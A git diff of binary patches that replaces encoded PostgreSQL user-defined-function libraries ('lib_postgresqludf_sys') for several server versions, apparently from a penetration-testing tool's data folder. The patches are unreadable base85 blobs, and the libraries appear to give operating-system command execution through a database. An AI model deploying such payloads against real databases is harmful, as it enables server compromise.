z=bKBI6C%fd*X9lVz%2ih4rFVFJAUkTz1hF@AcZ8S2;$RW!pe5HPJ9@@eA+a=r#G#57Gv{02+VxwY`FH)^)C2Oj<)VQDxqgDTY!*?E}>m zYv;z8*ICl*1mPA<$L%e6C4rv@XWuYjnT>&<8(3IN?xBL_L+>4_II-&|A###_Mm#;U3{!~OFQ{D5ht{l>{{2_+-e;pzfL5fe&}WECjL^ qC^$fP|3LMuhFy`J5d?4C6PVx3pa7ZEdDz#e(5|lfMXPX-M#PIa*eyu_ diff --git a/data/udf/postgresql/linux/64/11/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/64/11/lib_postgresqludf_sys.so_ index 8a61270ca7a249057df5829848e31672feb3e43b..9327b1cdba3e485ea520a47292df74f0def039ca 100644 GIT binary patch literal 2633 zcmV-P3byqG&u6bqp#OMy+E z*-WKAZzG%zw@D;ZnDO7%ovE72~T&_;0AhxnAbgi`d&m=qmx;gZ9dZn zM)V8YHBPPjoN>e3$0c#rH@`AFTaw3y zMVMnFjj=^S7II7a7xrvS1+#3-($YxanfzI;3GNb|#caC6Te><5i5T34Nik5|*5sO> zywU>9tJrDg!2md5t5=o?8Vkbf3Z%4r`j3@+38}oG$+$KP#%gr$DMqcHM^ZVwmW`b> zaX8AaQs(S)Y(qfpHgY(GGM=>7@(*iY2-nrw_Rzzi?8~Jg%v7<~2A53~zSEsDAtbQy zddSg}c+R_G6F%M$LD&p$5wW>WGEzqqtF8xme%}PpXEwwMy>nmGZ-;Of4c>zLFz65l zd2nW@9PIEYRR#sH-tNo)~Ab6Bd_sqYCE;gwU6P5YB>=efa-Z z(1Gu9;beL^Z@u<@G!z#$9nY9B60LNAr)l z_q(4}=81x27a0FONF=eIb1brO4jzRPw3F_NH78$JG95i>81wmj7M6+b%8uC+oFp*k zj=cl9wu4fK7qnH;rU$wJK%%l~Wtj2Y2q;KgGZuu1uPfV1!Lk`M32&VhH5I8-qKIF? z#wWHMZA(3Zom(-xh8kA%=W@gf(~n7hY4NAuIlght-t|0#B{f#;;Tib3sxe&M7KnnT zPKj^J){DKzO+}*2jz7bu&j8nG*!P6N(tDd|b@<1oQ3fu5k((cU$)UD;*TSg)xEQgT zBIc{mF+BR5uC}(*Lg%rYtCu0Z)`pbCP4>Lj`WpGgC&T^L863U+#m&<+BFZ0N! z78MR~2XBFI4$d}Rq~!8n2dQW?O|2gws+J;dedrCzWodVI`6n{GMP?nqtIs?Js}8?BwFR-%`vqkTJwBB>xx?HGnzWbzIhtV>r1X}oM$tSNG3VLH=NL$e$B#@$4Vkn7k|#D z6ca#@U3hZ%kOA{QV0%)snej zDiWSmHGYv3(q}jR<P%x z=%vM@txygc+4H+Sm|uXOS#;rR(u7rPP*SQ5=t?-;EDUO_Q*a)=o!3!BUU~y)|GwuX z;v?jw*V(yYNiyu>5|Cr?XxU&F0(lY4XRv1YHZc^bGOKRsCV_!pS{C1S>==VH>&&S! zBE9y$UkgkH5xa^l))~UDUNU$*l3C|Tm8H(>h(D`x5RH#7s9D4BVxDif&swuxU4I`G ze#**dI7sE@JbafX=`VuuVu*#P8t7g*Ago~Z2Y6q-dHvX{zAGJwdMAlGG}eo&Jy9<( zenu4~Ho&`#_a4!#gT^R|WyAN@*J&y76dvCc+<;m#cm9Sq&-)(}WRAgr&0`@hhf^lV zHV~eRkn!hzbWcOqRzjtE_lH(YkFCEkF_wP;$tfTbGw`T{)b2kZ_!47^TVJghcVcHHO5{8sP%>d#NHYOHvp-0t52{y0LwF*s+IM_QgGE#|* z30f3G&0OOB)HO{9FLbG+1NSqj6R;}8TvL-H=!ZuSCR)|^ISU~=NrsrYj6i+&0UmE3 z;nQu9IwD_ba4(#n?0)&k%uTKGQb$-Q3pa0}~8S zi~<20DdqhE_J~bnd2?-;3p!wGzt}GZ0{oL~>@^$2BfRlA6)RrkxxyhLC#LO@z-SZk zqs1r&%QEHsa>M6EZ>^YMJIno)L!n5+!2Bjtg4zUc)}qn#27buv$$5d8SOWQ2XHW>D z&1HKsS;YaaJ$IudLI8#cEx@BNhj*64M;L4ZjT631Qy>hfbz)19MQ*mO}j{=yT<97lC&fD*m4u_^$>MP^%z3Qy3*rTz^;~PQwattMau7LRYjZu z+nW>9a^~*=Lmd_L)EO9mMD`x2{HB+4zC_W2QfY4%QlVeT3Bm{(6M`Ck`I) zM+@liyDFys@=u8##gSiE-h}*}s`M)}m=Mmp3@$k5Q6Yd^P3a|>!hks|KGeorCBJG&MLC~LVfKIZ1Eo+ literal 2633 zcmV-P3byq<(z+@*DLI0Cbrer!NZRPl{C&{q`ecB7FOuCLxlBv=cF)s-z6G5S6BRj{ zQMsWfjxkY=Q;668a4ny!Cs+xVnkGTetr_#k|H=V00$B;p1G?jTD%d=S7b=_^ail|@ zp=^X7Kqie_vT_Zvvksq!~{&_4VpYVBeMULosLYRbi1eR@07S?Q%Sepkpvpv#_3{3a*6ynzv~-a7DUw`4z4D*{8v(xX z0_gCvSIeq55Fg_rd;J1$X_1(39amOHsE;~JMEVNQ9~R{(l6FpkY^F^mH~WnHNXRiK zR&{ssAI;4gZzBun;U0oVQo2K)QFvtJ{RsO4VNA{k58CZDiiWS8r}EAp_lYK`3Z{#L zOjHR?e&|>g%;lkL!iEVX_C>8ZIXunM7L>MVN7gM;T;NuNC~cYKLpHO?^7Z4GMZN+`JanTss3qBP5lGB@aR%`nZz? zr7mc|qCAecl7oGOrp!b6O$UB<9T+S;8`8v1EVGC1vaa|tvmqg} zjhsGA)$vR)wWg*$7;-B-#AtFLHZM)bCdI-gAcD zHmOeP`HrlTPGq0{v>MH(w;=XO_wtpL(ORZjPu(T@gpx4p)u*ZUYFyW*!6y$@zH+b~VWb~PZS|+%o{(A*E}wc= zCnthp0xtC%XCqnW;;BRWPDyT-N1hAXr`K4A3^i~cb7e8VVy67T?CNK{Wn6psBImlM zLxEPyQ1**fz17jjWiX^;F+P5jGeevN^(J$_3=)46UsYb^wouUADxX6)& zXd>~L?OR6xRgZgsJw`m?gvu>bs4s#J*~Mks0<7GqHs3^w^yI5!ef~sCRr3S!`5xwp z#K$JtALs3N1BKLS)JG${aa<*rJ%}5S!{kTL*pqA#MoeZ%S_k@nN}|?KItv`wYyOBQ z86e9sFdxFfndDhGdUjo6y4O+j%vl;8S?FKdO?DV#u`AL4MBsDmY%f|-L!GTv{9$M% zyJ6on(spq!K9us=L|)_q**7XT78M^iRfDRUnOHT5T8ROCg&-6c759WdzN=+1B^lwD zj!B@Y=QJbZ{|1kfj?++R}y(qI!;>AymLh{eeU|Q*)O;(r-50R4hx4e02}#p7v~ZWM2(vhn~g+ z%_jBn)cAx`a~I;`YOq4lN8E8j0az^lU6p9~P7yVT9j<@8C7`@*U^CHnlsKXi#L2j1 zA)L#MWiCPmX`8DI`5e>wT@ytPsC?;3?S=2kr#iYP6Rffwl6=kY8oo}M;9sH$US1+5 zMDN6CKxo9r6M2Sn>JGodSgnhwV#t3O52|!O zGk+RGwS2?e`!HNmELD_|Inq6;Ymf`&b5??O>!x}=9Dm#QK`Q_oW`l|Bk6}Q?J3C$Sa}J@c)?4?;v~sI_VO^`3Pkc;15Ul)ig7g(bi&eFaJ@O01=lR&@dowL= zqX!U9D#XAu%&kLY0aHx5BtLOKy!jF|IN6|;C5^}O}K_R<37v-%m|5vx-XdQi5jxvLOX$1nw2}}e0c*AxZc0+ceeE|gZ zpf-cp2NLbePMUR*f#c_z>XZW3_jdxN_Ay9$&pk}Z!t%m*@2iJBP$)YXfA8UHEoHqR z^qvBSamURpO9k$Op+~ja*_Xc3b-KD{=kkKVG;4tr+BP%JgQUvw4O2aV+a!5PM_MTcbUydS{+X{PX8%_6q);bimdEV0fw?^wspPa#* r!OzZ)l~v>A>{Fvz;3?b~i@P-?#G$(d{QiM*pL`~hwhEKnZFu}z22~r% diff --git a/data/udf/postgresql/linux/64/12/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/64/12/lib_postgresqludf_sys.so_ index b1258cbe9a4a3dfbeea4e8ae67a284f9d8771a06..a9874449464ec4b039c0750a23d27af2258adeb1 100644 GIT binary patch literal 3257 zcmV;q3`X-ks+tKMCVY`CHZ|PSZI5gPrhi)H6mvU3m&ba+;i0(BJ9jL~r?UxkPYCfM|o&d)}fHo6CZOpMnePn2F@+!7jO5B`Oa4?f-j#De%t& z+ImjP+L+5dIm%ZGAv>lQ2kxlD1W_iS!9bk4gWfZeI;29X=FO*-+JDNDzW zXTe)`>bWq(zzf79Y4!!5g3@}-+A?0aF(0=6HpORix9DlQCLy}ouePnrn3pM%R%(2rv8!wd zX%Ek&tBeLKYrNRd46qkbP>OW~2^Itzs4FM=}ReM4oYq62M#T1+!Svk+i>%QL3s? zsbhL60W!~-n|9r)iFUFOfR#l0%N2%Tb1TeLA!MtQ*?E1>5!dZ#aQymt+}@^qx5`eP za4@rfN@@NYD>{HJ-X1&jy;%qq6pj!|yyv}4)xGAeNzDxBh)1B+tjv76u=f9wL4)~n1aj^_puK2``fZsQ__T?3_M)K~;wX1dO{tvd8b{#dKv z#wm~99?3X6J$g~) zga#x}%6T$&yN%U_Q(I1{5A5vGDd$>>_-xy>Xk8Srs&(|R`?6KUyc zR0E`(4XLb2#cWqOSLA(lOm^|jH=OmnmyV5aaQerT@kS{2hhtrh%9CIPh9$mdaHyDy zx|E&!p;3LlFaa&1w& z2Bq$P&^Yv1SYXL9#4)WW@=bxXz@mW1IX7&{nvqnHA>@yo?@WYCsv}0n0gYm%R+row zjJ!YFm4(fSipsVpJ>1T*PBU}^)9fbv@tQ+K*X+N0R{Q`whoLS18MwZmy30Sj9C-t-iMbipsDn6ypFOW4-H?&BULZN8 zQ4q}2cg&W(BwH1P$8FqAvyeu zmN1!Pj3qd%r_M?ciK_HS0oZBOE4_TEWM2X-LZztk?m2n_nK%TnX@_>?&BxBU2s4`G zp3kwuL^A<6Y7!9|$VMvAZN7j^i7j34k)1OgB)~nF7cAMGi$m1iAL7lw?Xw4ryTa;@ zq47s2psJ0hhu?0W-B~C|$8<@<2Gum9@Tr9#hlH^RR23>06{m>J?vAX)?gGVUS@oey z?~+dekSuh5hR?$WRF%5h!Mf5?J)OU{1IzjJn2bNi|5i03PI>EO=h`<2iVp@ZAdZY> zS#Lv)!6Ma@6D2r1v}8~hWD6NWD9(ArhAYL+<|w|(4M<{WE{XT?K*}LMNdcwXstRu2 zBo`H@z0rqBllFt0yLqPjYcHMz&k~By9dtkzP9xHN7-5@Yt;Xs`ZnJLH3jdc5x!JJ+ zd1xGu3MbbGpo`k7)leOkGO7y4u;(qwtf%F;nINJ6@^)+HU-s&dbNhTaO;8qJy-cAK zOn1VwJI%k<9XhC~=nLodF^uIOiA`&zI{-lK?g|#O&`LFE^_n`|1rZ?DL8=CY??9Wr zS~$y>5Six+N?phjiGp}f+6V1?oEOL8!X?sZ$jt98Z9mUp;H+%@qfV_ z^duwtEWRS&UdfRSA5$acWxIUh41|oLOHq;Hm!i2mv-?GQi{))&c@MK$0?&pE>Fc-vUCFqhSuO#&RhrRcERBN1f&1+zeOL*|GgWKb< zH|h-moU3-cQ6Pq+DcnTMSAe1=e_pI01{*1^JeB-m_WZ});kDVtxB%j0b+@B@?Wefo zO;~)SMT)ygjB)S@oE+!gMjOmDepty2B+Npt8QE526N%&a^iF~GV1i?V3dhSfyhU2NSOCRz=0dwgQK|Ol zns&}$PHZSMHA^)?t=K#Zi!$|%c@ef<9)LueYXEvyALFrVeSFV3vPi3skc&i4qXW%W z<5+!?KGF#gz+sYJ!uvZm#6unMsDLw>XFE&&#D$awxe?gClFk51D^%lZ`7G3X?DeD> zkr%yooaleGn+Ql+rxHv!&Qif?p^<9fH%z~nO^`h_n3`+%)Lku^U5I;x(DBAJJpAa9 z{OnG{Vt~gfs7c?&by6SfB^N`&Wq1N#<{%69wZRXK@%zZPu$j@+QBmdQPVw7!HxpBY zq~gr{IPItJ|D*f}_fg~KZEhF6B7_=~gyHATGes|Hf*7;$|8kVAj9uvL+!m2J*k2ef zeZDvW;eozF-3;oNj3zjhU4^5f+1^%*?8U8Yu*c2`ZDbevd!THOa^u<9)8%jR5zOQi zeC4FGV<0eH$NZz{D?~Ru0e~;_`0?gjG+1xXlj$}l4FE&NJ!)hCL^?zbLwoQd z{ZYwdu?PCxR^u{t7t;D)5EroCzxC|Xz{iFR3k2U+`i&5uxak;zm69a+E0&3>Ma4y( zf6yq`jdF{iN1-EIMD@Pm*bkmkrAShzh&X%N0RkR+=s z8KK%drl+WOi;xoUDX&0}$FN)y6$Sg;7U?Z68dUlI;?fh2 zyFYMxXFFi6-gtJNOox+p&5B2HsJT^k6UMn#N0mh`$L7|H0b{=kqMjF9Z2OR){)lT5 z38<}Q9x-9jJ^aB7ju57HQ{$@ThoFBb6T)<=6vR+E%4oKL`>g`JJ3*`b5A(y$+3GST zD8+g&_RsE|P=>;Y;oq%Gcs3iP12STi2>Ex4M~0@H9of{wu7!#^d+6l=fNkUBrH`*q z(8;Q|w-@ZcNw$}j4dpBaQoo$A9$1*$2c)UQsCLy|J-r!C7R3HA@I%ZTNI|)xxIHI@ zT%)i)S5wT~S^kgpm@~Q0-MN`Pj9IUyyG)A(qkW`?f@q-BJ&2-Lv~T=KGrd_aUcI}t r;<-Zake}Dcw@#G5l`zyTKsoi3;S9`IIQFU!{tmXa1D&l!N0vz_O_FyQ literal 3257 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 diff --git a/data/udf/postgresql/linux/64/8.2/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/64/8.2/lib_postgresqludf_sys.so_ index 2c2e96ca70a948a79130092aa0b051665902f977..e4b124fc8b3670f28d4a0870d2c0f6e2e0f1138f 100644 GIT binary patch literal 2561 zcmV+c3jXyys=^8%20W7`_PJoli^a$d$}3wq@FiW4D{`a7Zp<^CLp^c&V!*G8r9kxT z*+|JtxWoCTal|EDZz29Q^D*XzQtjTa;^rj^0|z8{Bqg@*-xG%GADa@Q1D4HF9Xy1X z#e<+$qQ@H6yE)pNRIv6w`AVhVtsW1#GV8o23qAYwDMdCP-&q>?S8m|%>7L?1TN+){ zha(^Q5hkfR#u!$SK&6Q>$_w=ORgsd~uCaL*iD|gC^|Mz-nidiFI;i-HqFs4{{re~E z!50Z{Gfp)}%axS-$=R&O(nV0nuiZ*;wH7{moy@X1&$%hblUm}|zEBaz_t{{WdgEIO z6?rRp;sfZlO292(?i0Q*!F1}cSLjz4oKUAuje?>WIy%HQGrCh(!>y8cWekKlLnf$w zh|oa*`nruThcOP~tl8#c$OS1tU3WM2lQOGYrmLX0?@DK7@zkveap#he$MNXb1t_-9 zfA^_rH!F+r-gPwA!OXe$u{JnfFC?hX)i8+~4}~PRiq$yU!yyHcx0IjCsf{51x40Z4 z5rd)fvjdr(PQAtr)6SggP|2)QV){0!Z3D@psRXu9z|XLZ`dNRiObLHbt`W_^RKXa1 zOrCuUip*26q*9GKzeI_KEsmSmb`cJ(o9PErUiV<|{%E&PN*Imq_@E z0*`|#$pw^eZmv+fpk=mjO^>Kdv7T3HTrUMa=Id@aIRbb=>+Z0F0CSstfO*tA6{D|W5_H;EW@__`do#e9JA@0O%a zu)>MtP^raUeQkwt52>JmzYX-hLxggEei&hjnv3n8CN7mnd?@*+$44Cx6~%@ONJ0&< z+&#OOZ6N8ZnN*JkG2E0CzCm9)MF!7RPMkw&5ck5JG8&<_GA&3R`oUhEO3(YFujh@L z+(3AF>K!MgJoji!V$0<5eg0 zM_tLG?$My^8pj> zL7Xaa{z;!LCnD`;v0ipJ&ga!t!c!Anae$`7 zz2L>j=0gXS^N^s@_RmbpWCJQz9nm}*sa={B7bjQ5Ed%;xfi0JWeff zZ_W%9&at{+u9L!j4~Rz)8sQ8AuKD#KLjzKx4d<~i5$>xJwtJT+S2%=n7wDdanGtuw zU_P7Q*2i|h`RJh+o;$tFa6NmvJ$W^yj(H%(`?ji7yYyRzb$W}^mn?mc9Zd9BT=1V7 zq9t?jQgTXAGwzs)EqINYO}BD!e|e|7GriJ01GYgs;=n=t1ul#f;9G zoI?`$)EW7ibzcYUOw(aMZEF`hlpv2IG9rPWsVY#P|0_I{Mpf#GR|)}!uQ1*BvUY3v zq|vZKu;Z@-)9f|9lS@4xXZ%?-DXgiqk7CESC{6JMES&be(!T?eZBZA9rGT* zO(@b-<}g~Oh`Ai|IcUlh-WWtHf)fq;7C}g;8w_W7_8_WwKr1F7~_X&3{fQBfS!KQ z6H_BjX8zRHXTDb^?`L3`cmByFEMFT{6E=cCDz+~^HjJPG-Ur%#2y19Q{y+NoF^~6- z+@|v--5wkRvn)ISe$+f2o2(CaIx&`UB7|5e`{d2wa}bcUe=~~s@+Xjq=}f%;KoM5o z2z0f_<{`Z6&MJ z6p*q#d$hVn@r zq9vuQRR`HrmV3mXOWbC^N~aHn757Mjk?4o8oOZlD%p6bGHDce*oXH^zj;XP z@eEdr6fnewp7~fcX9Wan*JR|5AkmRW$ej{#c6Fitg*kQ1=}A`I6)cME_axCB6#Vn=_aT4j%YtD6 zY{@$2WZ@Ro7hweBJxcAC<-|Hhg9v@-hU9LQMb^hMX}hk+%C>-@hGB_qM@oF5lK0@o zCdz(1=Djsi%K#byUpPbuSu}P1FaO;&36@fW52`yOmtyJQZ4YVLdC$TUe~AwANuy(d XXN8?j!DYNfg4gfFrs|qOh7aof&HDr_ literal 2561 zcmV+c3jXyy(&8&VDLI00^_X4yvEarHvI}|{-ylrIC{v#IROvmPI~`ElO~t<7reVq6 z<88-Fz~k75Ucod8YyiUt$rR{@D$W0n&Eqs*045nq9ss!Sr!%L@FrEYV0Jrd9CmD*E zy`zD5jlv6qxESZIZk6~xfog>Qf*T&}G0K4zF&OprQDqlC@LUV6R8QUA)4S|IBRYKY zs3s1t5(ktB{5@EaIEAPX|_> z@bF+E)xVs2gb*{(mi*{ruq6m#a&ji1kQ0_^oQ|%ymuf~t-qE~Va>lQt{nX~yeF&HC zQ1ZAuGzzxE9R6(i_^h5@Ga=JW?BWN~&F=*^KK7Tg5|-2eLV0RikGK$u3h`&1NUlt!?&- zdat4j<^Y8{ZI5kx?I|N5fT8A zmK>2Ce5R{3fp^EaD}_YU1arKqG^iy;!k-eiy~Eb zv*WbZYK+TX1x=(-Agr;}ye!F#d7*rM1~@>gwT}GDB@d`|Mh*9;zh^uyI>47%OJgvD z<`}h?6#&SJwo#r_GX1G0gk(`VJtppSVVP1q6W0H)2tTj3N)2g0)x=N8N$$pxmBNFX zq+nTC#TYj5Kh{-#+2fvnG32Zm{0G1~BbQ!e9QP9}=P>expO{%GHttn$1wE@MEEd-K zxVqu=_lNZ)$q4V=;qj`F-B~X24D7ld29n;8HN2Tw1R=7$tjMVYXp)?vAvf~lrqat` zUK|B%SemY1%_(Ke^zCA%ZZ{S>6#jQZolA1#3F^DvVThj^upU!x^psoUWK=o zzQOqV+-3=ti?D(7*~(p?XCfD5C-gEJ(S5r$I3h-oE+WTQyAZ5S_2G8WE7sYXv;iBK z+uwWNA<2^`s1yU8)mQ&v{qm=l&=Oq**rD$Ds_#7lw`QXf-!wS}gH`J3RxokH+>r~_ zExk3JnUM;udj@-~&;0<)=R+E#g@THopXAu zr|^w%ipHS>tIQOfyiP1iWZh&26N#s^_d@2D2T0&i<_7{4rqJk1B!X*;DlU9tdT!rs z?rQyVdT_h?1o-~IAD#*{I*R$N<^wI!g2WE!^3?||a>-{Bk-;22QR-qpew@V_C)N^nRFN`^n2{S+ zWTd~tDVj?axSyGP%zq(vgbcV`(8sRDm}q&4&r{hT8;#X3j}lzZV8f_%OxP20yLRDU{jJTsFODVGuq45_XHrYHMfCvJIb{T|243#$2! zq=wQ2@*53Sunhq+MDa2m<+dsoTy5iKPdAaBOZs>+?lTc+>I6kyHHWC;R`5Ps^@weP2(xSL#Y3>)?ox(^m!(wnW4L2xBfL~ffjq8W z&i*x;Hb#_ChajpoZQMytU(7Xc8kHFfx)W5>sHj!@DJLy}&J-~PL)P&b;~M!E&ngZE z0(4KaDiZ|TRlAdDS}Q{n{Q(#QlBwt}Gd;s1x0{PY9-V27X5D@E)sCE(eA_(KGqs7C zvz!CXSX?Tr@j&U6$nlBURZoyEs~Ux8=l`n~%lTk#rEbg6vEgZkT&%7_rdiO3$LjT|byS?pzZ`qak#HBN$r}t6l3Jq8@HYC$ zr4o$B7eok+EmoyU7+vSAkp_txj#THGunp{BB2`%%yJVblL+QT)8(2jXrqSmIv!XyC zL(D6)XTU4xEkp|AMQY5q%E2oWfGI%Qyuo0VJ@)1kM!vt2$(Oy7yhMj>KWbfoz4Gys zCF?^D+?YF3vmiSla6MI0S`|po724A^akg`!Ag?NRlta|gS1M=O0q^58P>dg^N`hXq XU7(Xqxka61tly}#>cV!Z4AKMcTY@5OKSO|M zg#?>qqn>z^Uvpg-+Vco`Bpe~xdgSB#a3$Qn>uL?;Aj=hSt0B+$Vh4fbhU#=T5{Z|# z!i5Hy0Y^8<^qq>`5}Eg+sEmvs?b)1dD|GzZH*2OoIxZam+JE#n0zh!D=P6wZc2!6P_N3OYu$j#B^lUwaitaLbd-Nnmj)qs$DtAkrP zxloomGx&R~uHuW zx2lAh0hGEu{Np`m@UWgK!i#lC)O)*4>k*<|&y?F&inmthE=us*X@p)JfO+~``HjX0 z6_qMFwu>2Lt6PR_%ItzpkF0(Ki9Cu8?uVbWP()g$9hiGV3*tZy$*GGmh~3S+{Hu9L zNJD@{O`IDbKUtY4c=?1|h{@U7s{j&tQX0BoA`Z1^LtSy-%$(Qxc)V1qSJ`zEl*EAl zm6X$=*C(}pjo_R$=^FOkzu>i8!=>)$LP4=klGt&X56pYV!MO`#k_xWky@N)~Y0w)E zXt`0bhGcix-TrS|m6c^5=9E|8 z9k{8o_W`v~ZMsJUDN?%GQ#F{XGDbK*MmTD%fAx$(z6v-#Lije5=1nm7mgqzlrx8AW znTI05Pp_yp&&Be^T#{*V22l~!7Z_Dy{s9v$L7Y%=HV(C>xdQR?C*=Uy)|Z-t=r*;T za*BD%M8&#peUuBX8$vRRm@b89(bWP3iY7Gn`+FDHn(TsflT~m22`I{$U7M!5*4HVo zaH+DMxuA7bY9IMrD#_zfUzDy*o*De14~%MKu9L(0_6}tb8u1J%uB}IeJt;B(KK7=_xFu7-s`Z!>>2Dz-kV}Q9AC#V*Y6W=nMXvrB+`vFL<|DA=#)0 zan@HiCx}NZW1*xqS$RAnv1<&H6##5yGR-ZLngA+IM6YCPK*m!*MdRqRatucLbmPSK zdH#O}bN5Vh^A*1(aq%Q@@P7XFoxHOqq-?xOu7I-}Xf$vXvUZ3v^)bFRN4dj*%61*y z+7CYsJ^3@QbxYk9wW5z>vi3V&^&A@<+aiD{l_KJ0A8oBE*6~p0P789ERiuS64s|Du zWGZlt4@yT#@{RdoFe{DVf!F@w4v-<$Oc^N&{u(nx#`$TQ$|GFO;Q*0G>yyM0e5p56 z?6)v84sNSgi2ztgFQ$%l(ERqe_l2$tC%1NVahSG|Tm25X4@qgKAGY)0E*tU7&Wgxe z3RO@}fM%ZIGgb1_OK6*ec2KA<^Yqqi_j(odlpqL5!zf}ZDvDcsd|B{83*D@d)OW17evtNrLN3dk> zv2pZuINb`{@F!^ABAFoYSO&+@)1g0|nyfU?b$V)u4Q}M@ix3v>XzB8~HTR$JW%Rn2 zMC2N)M*O*{{+$_FSsfjcP4>c^KA?vRLgU}~QZjyg6^+*Uuic4yx!F}DbEu}6EEQPzK?nxW%z?a2-_mspeF?5Y~5t%m&Z zhFw((pO`$$x$Ga!#$FqFHWh^>!L}2Av4#1_O~8wp^9EFl&`9dH{+?G5ByFU{-O#YV 